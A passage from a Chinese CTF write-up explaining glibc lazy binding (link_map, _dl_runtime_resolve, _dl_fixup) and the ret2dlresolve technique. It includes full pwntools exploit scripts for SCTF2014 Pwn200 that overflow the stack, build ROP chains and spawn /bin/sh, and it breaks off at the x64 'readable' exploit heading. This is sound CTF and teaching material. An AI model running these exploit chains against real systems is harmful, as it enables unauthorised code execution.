查找这个函数的地址,并且把找到的地址
赋值给rel->r_offset
指向存储单元,即.got.plt
中此函数的对应项。
6、最后调用这个函数
。
3.2.0、link_map结构体定义 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 #include <link_map.h> struct link_map { ElfW(Addr) l_addr; char *l_name; ElfW(Dyn) *l_ld; struct link_map *l_next , *l_prev ; struct link_map *l_real ; Lmid_t l_ns; struct libname_list *l_libname ; ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM]; const ElfW (Phdr) *l_phdr ; ElfW(Addr) l_entry; ElfW(Half) l_phnum; ElfW(Half) l_ldnum; struct r_scope_elem l_searchlist ; struct r_scope_elem l_symbolic_searchlist ; struct link_map *l_loader ; struct r_found_version *l_versions ; unsigned int l_nversions; Elf_Symndx l_nbuckets; Elf32_Word l_gnu_bitmask_idxbits; Elf32_Word l_gnu_shift; const ElfW (Addr) *l_gnu_bitmask ; union { const Elf32_Word *l_gnu_buckets; const Elf_Symndx *l_chain; }; union { const Elf32_Word *l_gnu_chain_zero; const Elf_Symndx *l_buckets; }; unsigned int l_direct_opencount; enum { lt_executable, lt_library, lt_loaded } l_type:2 ; unsigned int l_relocated:1 ; unsigned int l_init_called:1 ; unsigned int l_global:1 ; unsigned int l_reserved:2 ; unsigned int l_phdr_allocated:1 ; unsigned int l_soname_added:1 ; unsigned int l_faked:1 ; unsigned int l_need_tls_init:1 ; unsigned int l_auditing:1 ; unsigned int l_audit_any_plt:1 ; unsigned int l_removed:1 ; unsigned int l_contiguous:1 ; unsigned int l_symbolic_in_local_scope:1 ; unsigned int l_free_initfini:1 ; struct r_search_path_struct l_rpath_dirs ; struct reloc_result { DL_FIXUP_VALUE_TYPE addr; struct link_map *bound ; unsigned int boundndx; uint32_t enterexit; unsigned int flags; unsigned int init; } *l_reloc_result; ElfW(Versym) *l_versyms; const char *l_origin; ElfW(Addr) l_map_start, l_map_end; ElfW(Addr) l_text_end; struct r_scope_elem *l_scope_mem [4]; size_t l_scope_max; struct r_scope_elem **l_scope ; struct r_scope_elem *l_local_scope [2]; struct r_file_id l_file_id ; struct r_search_path_struct l_runpath_dirs ; struct link_map **l_initfini ; struct link_map_reldeps { unsigned int act; struct link_map *list []; } *l_reldeps; unsigned int l_reldepsmax; unsigned int l_used; ElfW(Word) l_feature_1; ElfW(Word) l_flags_1; ElfW(Word) l_flags; int l_idx; struct link_map_machine l_mach ; struct { const ElfW (Sym) *sym ; int type_class; struct link_map *value ; const ElfW (Sym) *ret ; } l_lookup_cache; void *l_tls_initimage; size_t l_tls_initimage_size; size_t l_tls_blocksize; size_t l_tls_align; size_t l_tls_firstbyte_offset; #ifndef NO_TLS_OFFSET # define NO_TLS_OFFSET 0 #endif #ifndef FORCED_DYNAMIC_TLS_OFFSET # if NO_TLS_OFFSET == 0 # define FORCED_DYNAMIC_TLS_OFFSET -1 # elif NO_TLS_OFFSET == -1 # define FORCED_DYNAMIC_TLS_OFFSET -2 # else # error "FORCED_DYNAMIC_TLS_OFFSET is not defined" # endif #endif ptrdiff_t l_tls_offset; size_t l_tls_modid; size_t l_tls_dtor_count; ElfW(Addr) l_relro_addr; size_t l_relro_size; unsigned long long int l_serial; struct auditstate { uintptr_t cookie; unsigned int bindflags; } l_audit[0 ]; };
3.2.1、_dl_runtime_resolve()的内容 _dl_runtime_resolve()
在glibc-2.23/sysdeps/i386/dl-trampoline.S(64位把i386改为x86_64)
中使用汇编
实现,其主要代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 .text .globl _dl_runtime_resolve .type _dl_runtime_resolve, @function cfi_startproc .align 16 _dl_runtime_resolve: cfi_adjust_cfa_offset (8 ) _CET_ENDBR pushl %eax # Preserve registers otherwise clobbered. cfi_adjust_cfa_offset (4 ) pushl %ecx cfi_adjust_cfa_offset (4 ) pushl %edx cfi_adjust_cfa_offset (4 ) movl 16 (%esp), %edx # Copy args pushed by PLT in register. Note movl 12 (%esp), %eax # that 'fixup' takes its parameters in regs. call _dl_fixup # Call resolver. popl %edx # Get register content back. cfi_adjust_cfa_offset (-4 ) movl (%esp), %ecx movl %eax, (%esp) # Store the function address. movl 4 (%esp), %eax ret $12 # Jump to function address. cfi_endproc .size _dl_runtime_resolve, .-_dl_runtime_resolve
修正后
的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 0xf7fee000 <_dl_runtime_resolve> push eax 0xf7fee001 <_dl_runtime_resolve+1 > push ecx 0xf7fee002 <_dl_runtime_resolve+2 > push edx 0xf7fee003 <_dl_runtime_resolve+3 > mov edx , dword ptr [esp + 0x10 ]0xf7fee007 <_dl_runtime_resolve+7 > mov eax , dword ptr [esp + 0xc ]► 0xf7fee00b <_dl_runtime_resolve+11 > call _dl_fixup <0xf7fe77e0 > arg[0 ]: 0xc arg[1 ]: 0x8048670 ◂— imul ebp , dword ptr [esi + 0x70 ], 0x6e207475 /* 'input name:' */ 0xf7fee010 <_dl_runtime_resolve+16 > pop edx 0xf7fee011 <_dl_runtime_resolve+17 > mov ecx , dword ptr [esp ]0xf7fee014 <_dl_runtime_resolve+20 > mov dword ptr [esp ], eax 0xf7fee017 <_dl_runtime_resolve+23 > mov eax , dword ptr [esp + 4 ]0xf7fee01b <_dl_runtime_resolve+27 > ret 0xc
其采用了GNU风格
的语法,可读性
比较差。我们可以看到函数_dl_runtime_resolve()
调用了_dl_fixup(link_map,reloc_arg)
,后续操作都是在这个函数中完成的。
3.2.2、_dl_fixup()的内容 _dl_fixup()
的实现位于glibc/elf/dl-runtime.c
,其内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 #ifndef reloc_offset # define reloc_offset reloc_arg # define reloc_index reloc_arg / sizeof (PLTREL) #endif #define ELF_RTYPE_CLASS_PLT 1 #ifndef DL_NO_COPY_RELOCS # define ELF_RTYPE_CLASS_COPY 2 #else # define ELF_RTYPE_CLASS_COPY 0 #endif DL_FIXUP_VALUE_TYPE attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE _dl_fixup ( # ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS ELF_MACHINE_RUNTIME_FIXUP_ARGS, # endif struct link_map *l, ElfW(Word) reloc_arg) { const ElfW (Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]); const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); const ElfW (Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; const ElfW (Sym) *refsym = sym; void *const rel_addr = (void *)(l->l_addr + reloc->r_offset); lookup_t result; DL_FIXUP_VALUE_TYPE value; assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0 ) == 0 ) { const struct r_found_version *version = NULL ; if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL ) { const ElfW (Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff ; version = &l->l_versions[ndx]; if (version->hash == 0 ) version = NULL ; } int flags = DL_LOOKUP_ADD_DEPENDENCY; if (!RTLD_SINGLE_THREAD_P) { THREAD_GSCOPE_SET_FLAG (); flags |= DL_LOOKUP_GSCOPE_LOCK; } #ifdef RTLD_ENABLE_FOREIGN_CALL RTLD_ENABLE_FOREIGN_CALL; #endif result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL ); if (!RTLD_SINGLE_THREAD_P) THREAD_GSCOPE_RESET_FLAG (); #ifdef RTLD_FINALIZE_FOREIGN_CALL RTLD_FINALIZE_FOREIGN_CALL; #endif value = DL_FIXUP_MAKE_VALUE (result,SYMBOL_ADDRESS (result, sym, false )); } else { value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true )); result = l; } value = elf_machine_plt_value (l, reloc, value); if (sym != NULL && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0 )) value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value)); if (__glibc_unlikely (GLRO(dl_bind_not))) return value; return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value); }
_dl_fixup(l,reloc_arg)
有两个参数,l
是link_map结构的指针,reloc_arg
是所解析函数的重定位项
在重定位表.rel.plt
中的偏移
或下标
。32位
的reloc_arg
和64位
的有区别:32位使用reloc_offset
, 64位使用reloc_index
。
1 2 3 4 5 6 const ElfW (Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);const ElfW (Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];const ElfW (Sym) *refsym = sym;void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
上面几句的作用是从link_map
结构中获取动态链接符号表“.dynsym”
、动态链接字符串表“.dynstr”
的首地址
,重定位表“.rel.plt”
中所求函数的重定位项
的地址,所求函数在动态链接符号表“.dynsym”
中对应项的地址
,以及重定位需要修改内容
的地址rel_addr
。 接下来主要是调用了_dl_lookup_symbol_x()
函数,_dl_lookup_symbol_x()
的功能是在加载的共享对象的符号表
中搜索符号的定义
,其参数
也许带有该符号的版本
。它的返回值
为定义所求函数的共享对象的加载基址
。
1 2 3 4 result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,version, ELF_RTYPE_CLASS_PLT, flags, NULL );
_dl_lookup_symbol_x()
函数的内容比较多,这里就不详细介绍了,准备再写一篇文章,详细介绍Linux下库函数的动态链接过程。其有8个参数
:
参数1
:strtab + sym->st_name
,是指向所要重定位的符号的字符串的指针。
参数2
:l
,_dl_fixup()函数传进来的link_map结构体链表指针,目前指向第一个结点,即可执行文件对应的链表结点。
参数3
:&sym
,sym是一个Elf32_Sym类型的结构体对象指针,其指向的是所求函数在动态链接符号表.dynsym中对应符号项。而&sym是这个结构体对象指针的地址。
参数4
:l->l_scope
,此link map的查找范围(maps的范围)的指针数组。
参数5
:version
,所搜索函数的符号版本结构体对象指针。
参数6
:ELF_RTYPE_CLASS_PLT
,重定位elf_machine_type_class()返回的类型类。
参数7
:flags
,标志变量。暂时没搞清楚功能。
参数8
:*skip_map
,需要跳过的、不用搜索的link_map结构体指针。
_dl_lookup_symbol_x()
函数的返回值result
为定义函数的共享对象的加载基址
。之后我们可以看到使用了DL_FIXUP_MAKE_VALUE()
这个宏定义:
1 2 3 4 5 6 7 8 9 10 11 value = DL_FIXUP_MAKE_VALUE (result,SYMBOL_ADDRESS (result, sym, false )); #define DL_FIXUP_MAKE_VALUE(map, addr) (map) ? ((struct fdesc){(addr),(map)->l_info[DT_PLTGOT]->d_un.d_ptr }) : ((struct fdesc) { 0, 0 }) #define SYMBOL_ADDRESS(map, ref, map_set) ((ref) == NULL ? 0 : (__glibc_unlikely((ref)->st_shndx == SHN_ABS) ? 0 : LOOKUP_VALUE_ADDRESS(map, map_set)) + (ref)->st_value)
通过此宏定义,我们可以得到所求符号的真实内存地址
,即value
。通过一层层宏定义,我们可以知道,符号的真实地址
是存在符号项中的st_value
中的。之后,通过调用elf_machine_fixup_plt()
函数修复GOT表
,将重定位函数的真实地址
写入可执行文件中函数对应的GOT表项
中。
1 2 3 4 5 6 7 8 9 10 11 return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);static inline ElfW (Addr) elf_machine_fixup_plt (struct link_map *map , lookup_t t, const ElfW(Sym) *refsym, const ElfW(Sym) *sym, const ElfW(Rela) *reloc, ElfW(Addr) *reloc_addr, ElfW(Addr) value) { return *reloc_addr = value; }
4、真题解析 4.0、ret2_dl_runtime_resolve适用情况
条件1
:题目未给出libc库
。
条件2
:程序未开启PIE保护
。如果开启了PIE保护
,则还需要通过泄露获取基地址。
条件3
:程序未开启FULL RELRO
。
4.1、ret2_dl_runtime_resolve利用方式 4.2、x86的情况——SCTF2014 Pwn200 1、检查程序开启的保护机制 1 2 3 4 5 6 7 $ checksec pwn200 [*] '/home/******/Desktop/remote-dbg/pwn200' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
可以看到此程序只开启了NX(堆栈不可执行)
。
2、静态分析 IDA反编译后主函数
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ssize_t main1(){ char slogan; char name[16 ]; size_t nbytes; nbytes = 16 ; *name = 0 ; *&name[4 ] = 0 ; *&name[8 ] = 0 ; *&name[12 ] = 0 ; memset (&slogan, 0 , 128u ); write(1 , "input name:" , 12u ); read(0 , name, nbytes + 1 ); if ( strlen (name) - 1 > 9 || strncmp ("syclover" , name, 8u ) ) return -1 ; write(1 , "input slogan:" , 14u ); read(0 , &slogan, nbytes); return write(1 , &slogan, nbytes); }
我们通过分析,可以知道,程序需要两次输入
,第一次
输入“name”,第二次
输入“slogan”。name
的大小为16byte
,但是程序在读取输入的时候,最多可以读取17byte
,多了一个字节,这会覆盖后面的nbytes
。如果覆盖为0xFF
,则会在后面从标准输入读取“slogan”
的时候,读取的最大长度
变为255byte
,而“slogan”的实际大小
只有128byte
,这就会导致覆盖栈上的函数的EBP
和返回地址
。如果输入的数据是经过精心构造
过的,就可以劫持程序的控制流
。
在“name”
输入完后,程序会对输入的长度
和内容
进行判断。长度最长为10byte
,并且前8个字节
为“syclover”
。我们可以使用“\x00”截断
,对长度判断进行绕过。
3、方法一:使用题目提供的libc库,进行利用 利用思路:
1、程序从标准输入
读取“name”
的时候,利用“\x00”
绕过strlen()
的长度验证,输入构造的17bytes
数据,将nbytes
修改为“0xFF”
。
1 name = "syclover\x00\xff\xff\xff\xff\xff\xff\xff\xff"
2、程序从标准输入
读取“slogan”
的时候,输入精心构造的一段ROP的shellcode
,劫持程序的控制流。首先利用write函数
泄露出read函数的地址
,然后根据libc
中read函数
和system函数
的相对偏移,计算出system函数的真实地址
。再通过read函数
修改strlen的GOT表
。
1 2 3 4 5 6 shellcode = "" shellcode += p32(write_plt) + p32(ppp_ret) + p32(0x01 ) + p32(read_got) + p32(0x04 ) shellcode += p32(read_plt) + p32(ppp_ret) + p32(0x00 ) + p32(strlen_got) + p32(0x04 ) shellcode += p32(main_addr) ebp = p32(0xdeadbeef ) payload = 'A' *0x90 + p32(0x04 ) + 'A' *8 + ebp + shellcode
3、程序再次从标准输入
读取“name”
的时候,传入字符串“/bin/sh”
。当执行到strlen函数
的时候,实际上执行的是system函数
,参数即为“/bin/sh”
。
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 from pwn import *context.clear() context.log_level = 'debug' context.binary ='./pwn200' context = {'arch' :'i386' ,'bits' :'32' ,'endian' :'little' ,'os' :'linux' } def str_to_hex (str) : return '' .join(['\\x' + '%02X' % ord(c) for c in str]) def get_io () : if args['REMOTE' ]: io = remote('218.2.197.235' ,10101 ) else : io = process('./pwn200' ) return io def pwn (io) : io.recvuntil("input name:\x00" ) name = "syclover\x00" .ljust(17 ,"\xff" ) print "name:" + name io.send(name) io.recvuntil("input slogan:\x00" ) ppp_ret = 0x08048646 write_plt = 0x080483A0 read_plt = 0x08048360 read_got = 0x08049850 strlen_got = 0x08049858 main_addr = 0x080484AC shellcode = "" shellcode += p32(write_plt) + p32(ppp_ret) + p32(0x01 ) + p32(read_got) + p32(0x04 ) shellcode += p32(read_plt) + p32(ppp_ret) + p32(0x00 ) + p32(strlen_got) + p32(0x04 ) shellcode += p32(main_addr) ebp = p32(0xdeadbeef ) payload = 'A' *0x90 + p32(0x04 ) + 'A' *8 + ebp + shellcode print "payload_len:" + str(len(payload)) print "payload:" + payload[0 :0x90 ] + str_to_hex(payload[0x90 :0x94 ]) + payload[0x94 :0x9C ] + str_to_hex(payload[0x9C :]) io.send(payload) write_data = io.recv(4 ) print [c for c in write_data] read_addr_data = io.recv(4 ) print [c for c in read_addr_data] read_addr = u32(read_addr_data) print "read_addr:" ,hex(read_addr) libc_info = ELF("./libc-2.23.so" ,checksec = False ) system_offset = libc_info.symbols["system" ] read_offset = libc_info.symbols["read" ] print "system_offset:" ,hex(system_offset) print "read_offset:" ,hex(read_offset) libc_addr = read_addr - read_offset system_addr = libc_addr + system_offset print "system_addr:" + hex(system_addr) io.send(p32(system_addr)) io.recvuntil("input name:\x00" ) io.send("/bin/sh" ) io.interactive(prompt = pwnlib.term.text.bold_red('$' ) + ' ' ) if __name__ == '__main__' : io = get_io() pwn(io)
4、方法二:如果题目未提供libc库,使用ret2_dl_runtime_resolve方式进行利用 利用思路:
1、程序从标准输入
读取“name”
的时候,利用“\x00”
绕过strlen()
的长度验证,输入构造的17bytes
数据,将nbytes
修改为“0xFF”
。
1 name = "syclover\x00\xff\xff\xff\xff\xff\xff\xff\xff"
2、程序从标准输入
读取“slogan”
的时候,输入精心构造的一段ROP的shellcode
,劫持程序的控制流
。我们使用read函数
将伪造的system函数
的重定位表项数据
、符号表项数据
、字符串表项数据
以及参数“/bin/sh”
写入到内存中的可写区域
,这里选择bss节
之后的区域。 然后,返回到main函数
,进行下一次payload
的传递,用于解析system函数
地址,并调用system函数
。
1 2 3 4 5 6 7 8 shellcode = "" shellcode += p32(read_plt) + p32(ppp_ret) + p32(0 ) + p32(reloc_data_addr) + p32(len(reloc_data)) shellcode += p32(read_plt) + p32(ppp_ret) + p32(0 ) + p32(sym_data_addr) + p32(len(sym_data)) shellcode += p32(read_plt) + p32(ppp_ret) + p32(0 ) + p32(func_name_addr) + p32(len(func_name)) shellcode += p32(read_plt) + p32(ppp_ret) + p32(0 ) + p32(binsh_str_addr) + p32(len(binsh_str)) shellcode += p32(main_addr) ebp = p32(0xdeadbeef ) payload = 'A' *0x90 + p32(0 ) + 'A' *8 + ebp + shellcode
3、程序从标准输入
读取“name”
的时候,同第一步
一样。程序从标准输入
读取“slogan”
的时候,输入另一段
精心构造的一段ROP的shellcode
,劫持程序的控制流
。首先调用PLT0
处的代码,传入伪造的system函数重定位表项
相对于重定位表起始
的偏移量reloc_index
,利用_dl_runtime_resolve()函数
进行system函数地址
的解析。_dl_runtime_resolve()
函数解析完system函数
的地址后,就会调用system函数
。
1 2 3 shellcode = "" shellcode += p32(PLT0) + p32(reloc_index) + p32(main_addr) + p32(binsh_str_addr) payload = 'A' *0x90 + p32(0 ) + 'A' *8 + ebp + shellcode
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 from pwn import *context.clear() context.log_level = 'debug' context.binary = './pwn200' context = {'arch' :'i386' ,'bits' :'32' ,'endian' :'little' ,'os' :'linux' } DT_JMPREL = 0x080482F8 DT_SYMTAB = 0x080481E0 DT_STRTAB = 0x08048260 DT_VERSYM = 0x080482C0 PLT0 = 0x08048350 BSS_Addr = 0x08049870 system_got = 0x080499A0 ppp_ret = 0x08048646 send_plt = 0x080483A0 read_plt = 0x08048360 read_got = 0x08049850 strlen_got = 0x08049858 main_addr = 0x080484AC ''' typedef struct { Elf32_Addr r_offset; /* 表示重定位所作用的虚拟地址或相对基地址的偏移 */ 4byte Elf32_Word r_info; /* 重定位类型和符号表下标 */ 4byte } Elf32_Rel; ''' def generate_x86_reloc_data (sym_index,got_plt) : return p32(got_plt) + p32(0x07 + (sym_index<<8 )) ''' typedef struct { Elf32_Word st_name; /* 符号名,符号在字符串表中的偏移 */ 4byte Elf32_Addr st_value; /* 符号的值,可能是地址或偏移 */ 4byte Elf32_Word st_size; /* 符号的大小 */ 4byte unsigned char st_info; /* 符号类型及绑定属性 */ 1byte unsigned char st_other; /* 符号的可见性 */ 1byte Elf32_Section st_shndx; /* 节头表索引 */ 2byte } Elf32_Sym; ''' def generate_x86_sym_data (name_offset) : return p32(name_offset) + p32(0 ) + p32(0 ) + p32(0x12 ) reloc_offset = 0x1578 reloc_data_addr = BSS_Addr reloc_data = generate_x86_reloc_data(0x17e ,system_got) sym_data_addr = 0x080499C0 sym_data = generate_x86_sym_data(0x1780 ) func_name_addr = sym_data_addr + 0x20 func_name = "system\x00" binsh_str_addr = func_name_addr + 0x10 binsh_str = "/bin/sh\x00" def str_to_hex (str) : return '' .join(['\\x' + '%02X' % ord(c) for c in str]) def get_io () : if args['REMOTE' ]: io = remote('218.2.197.235' ,10101 ) else : io = process('./pwn200' ) return io def pwn (io) : print "----------------Stage1: Fake system's reloc_data,sym_data and str_data.----------------" io.recvuntil("input name:\x00" ) name = "syclover\x00" .ljust(17 ,"\xff" ) io.send(name) print "name:" + name io.recvuntil("input slogan:\x00" ) shellcode = "" shellcode += p32(read_plt) + p32(ppp_ret) + p32(0 ) + p32(reloc_data_addr) + p32(len(reloc_data)) shellcode += p32(read_plt) + p32(ppp_ret) + p32(0 ) + p32(sym_data_addr) + p32(len(sym_data)) shellcode += p32(read_plt) + p32(ppp_ret) + p32(0 ) + p32(func_name_addr) + p32(len(func_name)) shellcode += p32(read_plt) + p32(ppp_ret) + p32(0 ) + p32(binsh_str_addr) + p32(len(binsh_str)) shellcode += p32(main_addr) ebp = p32(0xdeadbeef ) payload = 'A' *0x90 + p32(0 ) + 'A' *8 + ebp + shellcode print "payload_len:" + str(len(payload)) print "payload:" + payload[0 :0x90 ] + str_to_hex(payload[0x90 :0x94 ]) + payload[0x94 :0x9C ] + str_to_hex(payload[0x9C :]) io.send(payload) io.send(reloc_data) io.send(sym_data) io.send(func_name) io.send(binsh_str) print "----------------Stage2: Call system(\"/bin/sh\")----------------" io.recvuntil("input name:\x00" ) name = "syclover\x00" .ljust(17 ,"\xff" ) io.send(name) print "name:" + name io.recvuntil("input slogan:\x00" ) shellcode = "" shellcode += p32(PLT0) + p32(reloc_offset) + p32(main_addr) + p32(binsh_str_addr) payload = 'A' *0x90 + p32(0 ) + 'A' *8 + ebp + shellcode print "payload_len:" + str(len(payload)) print "payload:" + payload[0 :0x90 ] + str_to_hex(payload[0x90 :0x94 ]) + payload[0x94 :0x9C ] + str_to_hex(payload[0x9C :]) io.send(payload) io.interactive() if __name__ == '__main__' : io = get_io() pwn(io)
4.3、x64的情况——HITCON CTF 2015–readable 0、x86情况与x64情况的不同之处 1、相关结构体大小
不同:
动态链接重定位表“.rel.plt”
:x86情况
使用Elf32_Rel
,大小为2*4=8字节
。x64情况
使用Elf64_Rela
,大小为3*8=24字节
。x86情况
的结构体成员r_info
中符号表下标
和重定位类型
分别占用3字节
和1字节
。x64情况
的结构体成员r_info
中符号表下标
和重定位类型
分别占用4字节
和4字节
。
动态链接符号表“.dynsym”
:x86情况
使用Elf32_Sym
,大小为4*4=16字节
。x64情况
使用Elf64_Sym
,大小为3*8=24字节
。x86情况
和x64情况
结构体成员的顺序不同。
2、reloc_arg含义
不同:
1、x86情况
: reloc_arg == reloc_offset
,含义是所重定位符号的重定位项
距离重定位表“.rel.plt”
起始位置的偏移
。重定位项地址reloc = JMPREL + reloc_offset
。
2、x64情况
: reloc_arg == reloc_index
,含义是所重定位符号的重定位项
在重定位表“.rel.plt”
中的下标
。重定位项地址reloc = JMPREL + reloc_index*3*8
。
3、符号版本表(.gnu.version)
1 2 3 4 5 6 7 8 9 10 11 if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL ) { const ElfW (Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff ; version = &l->l_versions[ndx]; if (version->hash == 0 ) version = NULL ; }
这段代码取r_info的高位
作为符号版本表vernum(.gnu.version)
的下标
,访问对应的值并赋给ndx
,ndx
再作为l_versions
表的下标
,找到对应的值赋给version
。ndx
是当前符号所使用的glibc库版本
在版本需要表(.gnu.version_r)
中的版本结构体(Elfxx_Vernaux)
的vna_other
成员的值。l_versions
是结构体r_found_version
的数组。version
表示的是版本需要表(.gnu.version_r)
中包含的此ELF文件
实际依赖的glibc库版本结构体(r_found_version)
的指针。 64位情况
下,我们构造的fake链
一般位于bss节
(64位
下,bss节
一般位于0x600000
之后),重定位表“.rela.plt”
一般在0x400000
左右,所以我们构造的r_info的高位(sym_index)
和reloc_arg
一般会很大。又因为计算符号项地址&symtab[ELFW(R_SYM) (reloc->r_info)]
和符号版本项地址vernum[ELFW(R_SYM) (reloc->r_info)]
时,数组的数据类型
的大小不同(symtab
中的结构体大小为0x18字节
,vernum
的数据类型为uint16_t
,大小为0x2字节
),这就导致vernum[ELFW(R_SYM) (reloc->r_info)]
大概率会访问到0x400000
到0x600000
之间的不可读区域
(64位下,这个区间一般不可读),使得程序报错。 32位情况
下,我们构造的r_info的高位(sym_index)
和reloc_arg
很小,所以计算vernum[ELFW(R_SYM) (reloc->r_info)]
== vernum + sym_index*2
时,不会访问到不可访问
的区域。所以我们只要让vernum + sym_index*2
访问到的ndx值合理
即可。关于ndx的取值范围
在我的另一篇文章中有介绍,但也只是猜测
。——RCTF2015-WriteUp(Pwn)
。
为了防止
出现这个错误,我们有几种方法。
方法一:
我们需要修改判断流程
,使得l->l_info[VERSYMIDX (DT_VERSYM)]
为0,从而绕开这块代码。而l->l_info[VERSYMIDX (DT_VERSYM)]
在64位
中的位置就是link_map+0x1c8
。对应的,32位
下为link_map+0xe4
,所以我们需要泄露link_map地址
,将其置为0。这种攻击方式依赖源程序
自带的输出函数
。
方法二:
使得vernum[ELFW(R_SYM) (reloc->r_info)]
== vernum + sym_index*2
可读,并且读出的ndx值合理
。我们可以通过修改.dynamic节
中DT_VERSYM动态节类型
所对应的动态节表项
,使vernum表的地址
改变。然后影响vernum + sym_index*2
的计算结果,使得到符号版本表项的地址
可读,并且此地址处的ndx值合理
。ndx的值
一般不宜太大,设为0x0000
应该是通用的。这种攻击方式依赖源程序
自带的输入函数
。能够任意地址写。
1、检查程序开启的保护机制 1 2 3 4 5 6 7 $ checksec readable [*] '/home/******/Desktop/remote-dbg/readable' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
可以看到此程序只开启了NX(堆栈不可执行)
。
2、静态分析 IDA反编译后主函数
如下:
1 2 3 4 5 6 ssize_t __fastcall main (__int64 a1, char **a2, char **a3) { char buf; return read(0 , &buf, 32u LL); }
这道题的漏洞
很明显,buf的实际大小
只有16byte
,但是read()函数却最大可以读取32byte
,这就造成了栈溢出
,会覆盖rbp
和ret_address
。通过将ret_address
覆盖为main函数的入口地址
,从而对漏洞实现多次利用
,达到任意地址写
的目的。由于只有任意地址写权限
,而没有读权限
,因此几乎无法泄露信息
,利用常规方法则会比较难。
3、方法一:爆破read()中syscall的偏移,并修改eax为0x3b,调用execve(“/bin/sh”,0,0) 利用思路:
1、爆破获取read函数
中调用syscall的偏移
,并将其覆盖到read的GOT表内容
的最后一个字节
,再将eax
修改成0x3b
,然后将“/bin/sh”
压入栈,并将rdi
指向它,同时将rsi
和rdx
分别设置为0
,相当于调用了execve("/bin/sh",0,0)
,从而实现shell的获取。
每个系统调用
中都有如下的实现:
1 2 3 4 5 6 7 8 9 10 11 <read+n> mov eax ,0x0 <read+(n+5 )> syscall <write+n> mov eax ,0x1 <write+(n+5 )> syscall <execve+n> mov eax ,0x3b <execve+(n+5 )> syscall
2、如果知道了read函数
中syscall
距离read函数起始位置
的偏移
,那么直接将read的GOT表内容
的最后一个字节
修改为此偏移
,同时通过read函数
读取系统调用号长度
的内容,使eax
修改为系统调用号
。这样,调用read函数
的时候就相当于执行其他系统调用
了。爆破syscall偏移
的时候利用write函数
进行打印测试
,如果能够正常打印
,则说明爆破出的syscall偏移
是正确的
,否则程序读取不到相关信息。
完整exp:
